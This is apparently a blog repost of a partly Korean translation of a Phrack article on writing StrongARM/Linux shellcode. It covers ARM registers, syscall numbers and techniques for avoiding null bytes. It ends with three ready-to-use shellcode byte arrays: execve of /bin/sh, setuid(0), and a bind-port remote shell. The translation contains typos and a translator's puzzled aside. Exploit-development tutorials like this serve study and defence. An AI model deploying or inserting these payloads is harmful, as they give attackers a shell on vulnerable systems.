2014. 10. 7. 19:11

                             ==Phrack Inc.==


               Volume 0x0b, Issue 0x3a, Phile #0x0a of 0x0e


|=--------------=[ Developing StrongARM/Linux shellcode ]=---------------=|

|=-----------------------------------------------------------------------=|

|=--------------------=[ funkysh <funkysh@sm.pl> ]=----------------------=|


ARMS 소개 


이문서는 강력한 ARM 리눅스 쉘코드작성을 필요로 하는 정보이다.



ARM Architecture

32bit ARM 프로세서는 RISC 구조로 디자인 되어있다.

이의미는 이것은 CISC 보다 instruction을 줄일 수 있다.

줄어든 instruction 세트는 스피드에 최적화 된다. 

예를들어 파이프라이닝이나 hard-wired logic 에서 최적화된다.

또한 instruction 과 주소체제 방식은 모든것을 명확하게 한다.

ARM 은 load/store 구조인데, 이것은 오직 레즈스터에 의해서만 데이터처리가

가능하단 것을 의미한다. 메모리에 직접 데이터를 입출력하는 것은 불가능하다.

메모리 입출력은 load/sotre 의 multiple instructions 과 실행상태의 모든 instruction 로 가능하다. 

명맥하게 모든 instruction은 32비트의 길이를 가진다. (4바이트) 


ARM 은 16개의 32비트 레지스터로 구성되어 있다.이는 R0 ~ R15(pc) 까지 가지게 된다. 간략하게 말해서 13개의 '일반적인 목적' 을가지는 레지스터 r0 - r12 를 가진다.

( r0 - r7은 저장되지 않는 레지스터이고 이것은 32-bit 의 모든 프로세서안에 물리적 레지스터라는 것을 의미한다.

이것들은 특별하게 사용되지는 않는다. 그리고 그것은 자유롭게 일반적인 목적으로 사용될 수 있는 레지스터이다. 

반면에 3개의 특별한 목적의 레지스터가 있다. ( 엄밀히 말하면 15개의 레지스터는 모두 일반적인 레지스터이다) 


r13(sp) - stack pointer

r14(lr) - link register

r15(pc/psr) - program counter / status register


레지스터 r13 은 sp 로 알려저 있고 이는 종종 stack pointer 로 사용된다.

그리고 link register 는 함수나 서브루틴 에 사용된다. 


link register - r14 는 lr 로 불리며, 이는 리턴되는 주소값을 저장한다.

서브루틴 호출이 수행될때 BL instruction 은 r14에 return 주소를 셋팅 시킨다.

그리고 서브루틴에서 돌아올때 r14는 PC 에 다시 복사를 하여 되돌아온다. 


ARM에서의 stack 은 낮은 메모리방향으로 자란다. 그리고 스택포인터는 

마지막 아이템에 씌여지게 된다. 이것을 full desecending stack 이라고 부른다.

예를들어 0x41 과 0x42가 스택에 배치되는 것은 아래와 같다.


      memory address   stack value 


                      +------------+

          0xbffffdfc: | 0x00000041 |

                      +------------+

   sp ->  0xbffffdf8: | 0x00000042 |

                      +------------+




---[  Instruction set


 ARM 위에 작성됨에 따라 다른 RISC CPU들은 모두 고정된 길이의 instruction을 가지게 되었따. 이것은 또한 모든 instruction 은 상태 레지스터가 될수 있다는 것이다.

그래서 상위 4비트 (31-28)는 instruction 이 실행되는 동안 모두 특별한 상태로 사용된다.


Instruction 은 4가지의 class 로 나뉘어 질수 있다.

 

 - branch instructions

 - load / store instruction

 - data-processing instructions,

 - exception-generating instructions,



 1. Branch instructions

    -------------------

 분기 instruction 에는 2가지 종류가 있다.


 branch:            b  <24 bit signed offset>

 branch with link:  bl <24 bit signed offset>


branch with link 실행 하는것은 다음 instruction의 주소와 함께하는  'lr' 셋팅과 함께 출력된다. 



 2. Data-processing instructions

    ----------------------------

 데이터 처리 instrunction 은 일반적으로 3-주소체제 를 사용한다.

 

 < op code > < 목적지 > < operand 1 > < operand 2 >


< 목적지 > 는 항상 register 이다.  < operand 1 > 역시 r0~ r15 레지스터중 한개여야만한다. 그리고 < operand 2 > 레지스터 일수도 있지만, shift 된 레지스터나 즉시 적용되는 상수 값일수도 있다. 


 < 예시 >

  -----------------------------+----------------+--------------------+

              addition:   add  | add r1,r1,#65  | set r1 = r1 + 65   |

          substraction:   sub  | sub r1,r1,#65  | set r1 = r1 - 65   |

           logical AND:   and  | and r0,r1,r2   | set r0 = r1 AND r2 |

  logical exclusive OR:   eor  | eor r0,r1,#65  | set r0 = r1 XOR r2 |

            logical OR:   orr  | orr r0,r1,r2   | set r0 = r1 OR r2  |

                  move:   mov  | mov r2,r0      | set r2 = r0        |



 3. Load and store instructions

    ---------------------------

 메모리로부터 적재하는 레지스터 ldr rX , <address >

 예를들어 ldr, r0, [r1 ] 는 r0 와함께 r1의 1word 의 32 비트가 지정된다. 

또한 LDRb intruction 은 합리적으로 8 bit 만을 가져온다. 


  store register in memory:  str rX,  <address>     (store 32 bits)

                             strb rX, <address>    (store 8 bits)



ARM 은 multiple 레지스터의 sotreing / loading 역시 지원한다. 

이것은 최적화 관점에서 봤을때 매우 흥미로운 특징이다.

stm (store multiple registers in memory) 부터 살펴보면 아래와같다.


stm < base register > <stack type>(!), { register list }


 < base register > 은 어떠한 레지스터든 상관없다. 그러나 전형적으로 stack pointer 가 사용된다. 

예를들어 : stmfd sp!, {r0-r3, r6} 은 r0, r1, r2 ,r3 와 r6 에 stack의 값이 저장된다. ( full decending mode dptjsms stm 이후에 fd가 붙는다.) 

stack pointer는 r0 레지스터가 저장된 곳을 가르키게 된다. ( ! 때문 ) 

비슷하게 load of multiple register들도 같은 방식을 사용한다. : ldm 



 4. Exception-generating instructions 

    ---------------------------------


Software interrupt : swi < number > 는 system call로써 사용된다.


여기에 언급된 레지스터들은 완벽하지 않지만 다른 문서를 통해 더 많은것을 알아보길 바란다.



---[  Syscalls


 강력한 ARM 프로세서와 함꼐하는 리눅스에서는 syscall 기반은 0x900000로 옴겨졌다.

이것은 쉘코드를 작성하는데 좋은 움직임은 아니다. 그 이후로 우리는 instruction들의 opcode의 zero byte를 조절해야 한다.


예를들어 exit syscall 의 경우


swi 0x900001   [ 0xef900001 ]

가 되어야한다  ( 무슨말이지?)


여기에 쉘코드를 작성할때 유용한 시스템콜 리스트가 있다.  ( syscall의 return 값을 보통 r0에 저장된다)



       execve:

       ------- 

               r0 = const char *filename

               r1 = char *const argv[]

               r2 = char *const envp[]

      call number = 0x90000b

 


       setuid:

       ------- 

               r0 = uid_t uid

      call number = 0x900017



         dup2:

         ----- 

               r0 = int oldfd

               r1 = int newfd

      call number = 0x90003f



       socket:

       ------- 

               r0 = 1 (SYS_SOCKET)

               r1 = ptr to int domain, int type, int protocol

      call number = 0x900066 (socketcall)



         bind:

         ----- 

               r0 = 2 (SYS_BIND)

               r1 = ptr to int  sockfd, struct sockaddr *my_addr, 

                    socklen_t addrlen

      call number = 0x900066 (socketcall)



       listen:

       ------- 

               r0 = 4 (SYS_LISTEN)

               r1 = ptr to int s, int backlog

      call number = 0x900066 (socketcall)



       accept:

       ------- 

               r0 = 5 (SYS_ACCEPT)

               r1 = ptr int s,  struct  sockaddr  *addr,

                    socklen_t *addrlen 

      call number = 0x900066 (socketcall)




---[  Common operations 


 

 Loading high values 

 -------------------


모든 상태와 레지스터 숫자가 32bit word 를 나타내고, op코드역시 32bit 이기때문에, 하나의 instruction 안에 레지스터 속의 높은 값은 즉시 로딩 된다. 

이러한 문제는 'shifting' 이라불리는 특징에 의해 해결 될 수 있게된다.

ARM 어셈블리는 6개의 연상되는 shift type이 존재한다. 


           lsl -  logical shift left

           asl -  arithmetic shift left

           lsr -  logical shift right

           asr -  arithmetic shift right

           ror -  rotate right

           rrx -  rotate right with extend


sfifter 는 data 처리 instruction과 함께 처리될수 있다. 또한 ldl 과 str instruction과도 함께 사용된다. 


예를들어 r0 와 0x900000 를 load 하기 위해 우리는 아래의 명령어를 수행할 수 있다.

         mov   r0, #144           ; 0x90

         mov   r0, r0, lsl #16    ; 0x90 << 16 = 0x900000




 Position independence

 ---------------------


 자신의 코드의 위치를 얻는것은 매우 쉽다. PC 는 일반적인 목적의 레지스터이다.

그리고 심지어 어떠한 순간에서든 32bit 값의 메모리 어디든지 jump 를 할수 있다

예를 들어 아래와 같다. 실행 후 : 


         sub   r0, pc, #4


다음 instruction 은 r0 에 저장된다. 

다른 방법으로는 link 와 함께하는 branch instruction 에서 사용될 수 있다.


         bl    sss

         swi   0x900001

  sss:   mov   r0, lr


지금 r0 의 주소값은 "swi 0x900001" 을 가르키고 있다.



 

 Loops

 -----


 3번을 반복하는 반복문에 대해서 이야기해보자. 

전형적인 반복문은 아래와같이 구조화 될수 있다.


         mov   r0, #3     <- loop counter

 loop:   ...    

         sub   r0, r0, #1 <- fd = fd -1 

         cmp   r0, #0     <- check if r0 == 0 already

         bne   loop       <- goto loop if no (if Z flag != 1)


이러한 반복은 subs에 의해 최적화 될수 있고 이러한 반복은 Z flag를 셋팅하여

우리가 r0 에 도달했을때 cmp 구문을 종료 시키는데 쓰인다.


 

         mov   r0, #3

 loop:   ...

         subs  r0, r0, #1

         bne   loop



 Nop instruction

 ---------------


ARM 에서는 "mov r0,r0 " 는 nop 으로 사용된다. 그러나 이것은 null 도 같이 따르게 된다. 그래서 이러한 "중간 생략" instruction 은 취약점을 보여주는 POC 작성때만 써야한다.


         mov   r1, r1    [ 0xe1a01001 ]

          


---[  Null avoiding


대부분의 r0 레지스터를 사용하는 instruction 은 '0' 이다. 

이는 보통 다른 instruction으로 대체되거나 자체 수정된다. 


예시)

             e3a00041    mov   r0, #65      can be raplaced with:

   

             e0411001    sub   r1, r1, r1

             e2812041    add   r2, r1, #65

             e1a00112    mov   r0, r2, lsl r1  (r0 = r2 << 0)



 아래의 방법으로 syscall 은 patch 될수 있다.


             e28f1004    add   r1, pc, #4    <- get address of swi

             e0422002    sub   r2, r2, r2    

             e5c12001    strb  r2, [r1, #1]  <- patch 0xff with 0x00

             ef90ff0b    swi   0x90ff0b      <- crippled syscall

 

 Store/Load multiple also generates 'zero', even if r0 register is not

 used:

 

             e92d001e    stmfd sp!, {r1, r2, r3, r4}

 

 In example codes presented in next section I used storing with link

 register:


             e04ee00e    sub   lr, lr, lr

             e92d401e    stmfd sp!, {r1, r2, r3, r4, lr}







---[  Example codes



/*

 * 47 byte StrongARM/Linux execve() shellcode

 * funkysh

 */


char shellcode[]= "\x02\x20\x42\xe0"   /*  sub   r2, r2, r2            */

                  "\x1c\x30\x8f\xe2"   /*  add   r3, pc, #28 (0x1c)    */

                  "\x04\x30\x8d\xe5"   /*  str   r3, [sp, #4]          */

                  "\x08\x20\x8d\xe5"   /*  str   r2, [sp, #8]          */

                  "\x13\x02\xa0\xe1"   /*  mov   r0, r3, lsl r2        */

                  "\x07\x20\xc3\xe5"   /*  strb  r2, [r3, #7           */

                  "\x04\x30\x8f\xe2"   /*  add   r3, pc, #4            */

                  "\x04\x10\x8d\xe2"   /*  add   r1, sp, #4            */

                  "\x01\x20\xc3\xe5"   /*  strb  r2, [r3, #1]          */

                  "\x0b\x0b\x90\xef"   /*  swi   0x90ff0b              */

                  "/bin/sh";



/*

 * 20 byte StrongARM/Linux setuid() shellcode

 * funkysh

 */


char shellcode[]= "\x02\x20\x42\xe0"   /*  sub   r2, r2, r2            */

                  "\x04\x10\x8f\xe2"   /*  add   r1, pc, #4            */

                  "\x12\x02\xa0\xe1"   /*  mov   r0, r2, lsl r2        */

                  "\x01\x20\xc1\xe5"   /*  strb  r2, [r1, #1]          */

                  "\x17\x0b\x90\xef";  /*  swi   0x90ff17              */



/*

 * 203 byte StrongARM/Linux bind() portshell shellcode

 * funkysh

 */


char shellcode[]= "\x20\x60\x8f\xe2"   /*  add   r6, pc, #32           */

                  "\x07\x70\x47\xe0"   /*  sub   r7, r7, r7            */

                  "\x01\x70\xc6\xe5"   /*  strb  r7, [r6, #1]          */

                  "\x01\x30\x87\xe2"   /*  add   r3, r7, #1            */

                  "\x13\x07\xa0\xe1"   /*  mov   r0, r3, lsl r7        */

                  "\x01\x20\x83\xe2"   /*  add   r2, r3, #1            */

                  "\x07\x40\xa0\xe1"   /*  mov   r4, r7                */

                  "\x0e\xe0\x4e\xe0"   /*  sub   lr, lr, lr            */

                  "\x1c\x40\x2d\xe9"   /*  stmfd sp!, {r2-r4, lr}      */

                  "\x0d\x10\xa0\xe1"   /*  mov   r1, sp                */

                  "\x66\xff\x90\xef"   /*  swi   0x90ff66     (socket) */

                  "\x10\x57\xa0\xe1"   /*  mov   r5, r0, lsl r7        */

                  "\x35\x70\xc6\xe5"   /*  strb  r7, [r6, #53]         */

                  "\x14\x20\xa0\xe3"   /*  mov   r2, #20               */

                  "\x82\x28\xa9\xe1"   /*  mov   r2, r2, lsl #17       */

                  "\x02\x20\x82\xe2"   /*  add   r2, r2, #2            */

                  "\x14\x40\x2d\xe9"   /*  stmfd sp!, {r2,r4, lr}      */

                  "\x10\x30\xa0\xe3"   /*  mov   r3, #16               */

                  "\x0d\x20\xa0\xe1"   /*  mov   r2, sp                */

                  "\x0d\x40\x2d\xe9"   /*  stmfd sp!, {r0, r2, r3, lr} */

                  "\x02\x20\xa0\xe3"   /*  mov   r2, #2                */

                  "\x12\x07\xa0\xe1"   /*  mov   r0, r2, lsl r7        */

                  "\x0d\x10\xa0\xe1"   /*  mov   r1, sp                */

                  "\x66\xff\x90\xef"   /*  swi   0x90ff66       (bind) */

                  "\x45\x70\xc6\xe5"   /*  strb  r7, [r6, #69]         */

                  "\x02\x20\x82\xe2"   /*  add   r2, r2, #2            */

                  "\x12\x07\xa0\xe1"   /*  mov   r0, r2, lsl r7        */

                  "\x66\xff\x90\xef"   /*  swi   0x90ff66     (listen) */

                  "\x5d\x70\xc6\xe5"   /*  strb  r7, [r6, #93]         */

                  "\x01\x20\x82\xe2"   /*  add   r2, r2, #1            */

                  "\x12\x07\xa0\xe1"   /*  mov   r0, r2, lsl r7        */

                  "\x04\x70\x8d\xe5"   /*  str   r7, [sp, #4]          */

                  "\x08\x70\x8d\xe5"   /*  str r7, [sp, #8]          */

                  "\x66\xff\x90\xef"   /*  swi   0x90ff66     (accept) */

                  "\x10\x57\xa0\xe1"   /*  mov   r5, r0, lsl r7        */

                  "\x02\x10\xa0\xe3"   /*  mov   r1, #2                */

                  "\x71\x70\xc6\xe5"   /*  strb  r7, [r6, #113]        */

                  "\x15\x07\xa0\xe1"   /*  mov   r0, r5, lsl r7 <dup2> */

                  "\x3f\xff\x90\xef"   /*  swi   0x90ff3f       (dup2) */

                  "\x01\x10\x51\xe2"   /*  subs  r1, r1, #1            */

                  "\xfb\xff\xff\x5a"   /*  bpl   <dup2>                */

                  "\x99\x70\xc6\xe5"   /*  strb  r7, [r6, #153]        */

                  "\x14\x30\x8f\xe2"   /*  add   r3, pc, #20           */

                  "\x04\x30\x8d\xe5"   /*  str r3, [sp, #4]          */

                  "\x04\x10\x8d\xe2"   /*  add   r1, sp, #4            */

                  "\x02\x20\x42\xe0"   /*  sub   r2, r2, r2            */

                  "\x13\x02\xa0\xe1"   /*  mov   r0, r3, lsl r2        */

                  "\x08\x20\x8d\xe5"   /*  str   r2, [sp, #8]          */

                  "\x0b\xff\x90\xef"   /*  swi 0x900ff0b    (execve) */

                  "/bin/sh";


Posted by k1rha